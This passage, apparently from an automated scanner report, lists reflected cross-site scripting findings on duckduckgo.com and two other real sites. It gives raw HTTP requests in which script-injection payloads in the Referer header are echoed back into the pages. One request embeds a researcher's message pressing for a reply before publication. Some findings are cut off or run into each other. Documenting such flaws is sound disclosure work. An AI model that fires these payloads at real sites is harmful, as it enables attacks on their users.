Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=31367'-alert(1)-'39526ed110b

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:57:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:57:10 GMT
Cache-Control: max-age=1
Content-Length: 13375

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/Internet_privacy"/><meta http-equiv="content-t
...[SNIP]...
script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=1;it=1;iaq=0;r1hc=0;r1c=7;r2c=7;ric=13;rq='31367'-alert(1)-'39526ed110b';rfq=1;rt='';rv='';rad='secure.wikimedia.org';rds=20;rs=0;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='
...[SNIP]...

3.224. https://duckduckgo.com/IP_Address [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://duckduckgo.com
Path:	/IP_Address

Remediation detail

Request

GET /IP_Address HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=d4e16'-alert(1)-'40538310d83

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:57:11 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:57:12 GMT
Cache-Control: max-age=1
Content-Length: 10016

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/Internet_Protocol"/><meta http-equiv="content-
...[SNIP]...
<script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=1;it=1;iaq=0;r1hc=0;r1c=1;r2c=8;ric=3;rq='d4e16'-alert(1)-'40538310d83';rfq=1;rt='';rv='';rad='secure.wikimedia.org';rds=20;rs=0;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='
...[SNIP]...

3.225. https://duckduckgo.com/e.js [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://duckduckgo.com
Path:	/e.js

Request

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:56:52 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Sun, 12 Nov 1999 20:28:05 GMT
Content-Length: 1456

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta name="robots" content="no
...[SNIP]...
<a href="http://www.google.com/search?hl=en&q=79b8b"><script>alert(1)</script>c5a552df2ab">
...[SNIP]...

3.226. https://duckduckgo.com/e.js [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://duckduckgo.com
Path:	/e.js

Request

GET /e.js?from=h02332%40gmail.com&body=Hoyt+LLC+Research+investigates+and+reports+on+security+vulnerabilities+embedded+in+Web+Applications+and+Products+used+in+wide-scale+deployment.+%0D%0A%0D%0ADisclosure+Info+%40+URI+http%3A%2F%2Fwww.cloudscan.me%2Fp%2Fhoyt-llc-research-vulnerability.html%0D%0A%0D%0AHello+-+David+Hoyt+here+with+Hoyt+LLC+Research+in+Boston%2C+MA+with+a+Private+Vuln+Report.+You%27ve+got+XSS%2C+everywhere...+everywhere..+%0D%0A%0D%0AE-mail+me+back+at+h02332%40gmail.com+quickly+if+you+don%27t+wants+this+published+at+URI+http%3A%2F%2Fxss.cx%2Fi%2Fduck.co-xss-1.jpg+and+http%3A%2F%2Fxss.cx%2Fi%2Fduckduckgo.com-xss-1.jpg%0D%0A%0D%0ABest%3B%0D%0A%0D%0ADavid%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A&copy=on&go= HTTP/1.1
Host: duckduckgo.com
Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=79faa"><script>alert(1)</script>b50ac4e0b24b5c6ac
Cache-Control: max-age=0
Origin: http://duckduckgo.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:18:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Sun, 12 Nov 1999 20:28:05 GMT
Content-Length: 1462

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta name="robots" content="no
...[SNIP]...
<a href="http://www.google.com/search?hl=en&q=79faa"><script>alert(1)</script>b50ac4e0b24b5c6ac">
...[SNIP]...

3.227. https://event.on24.com/eventRegistration/EventLobbyServlet [User-Agent HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://event.on24.com
Path:	/eventRegistration/EventLobbyServlet

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.fusionbot.com
Path:	/

Request

GET / HTTP/1.1
Host: www.fusionbot.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Referer: http://www.google.com/search?hl=en&q=3c4ae><script>alert(1)</script>82d7e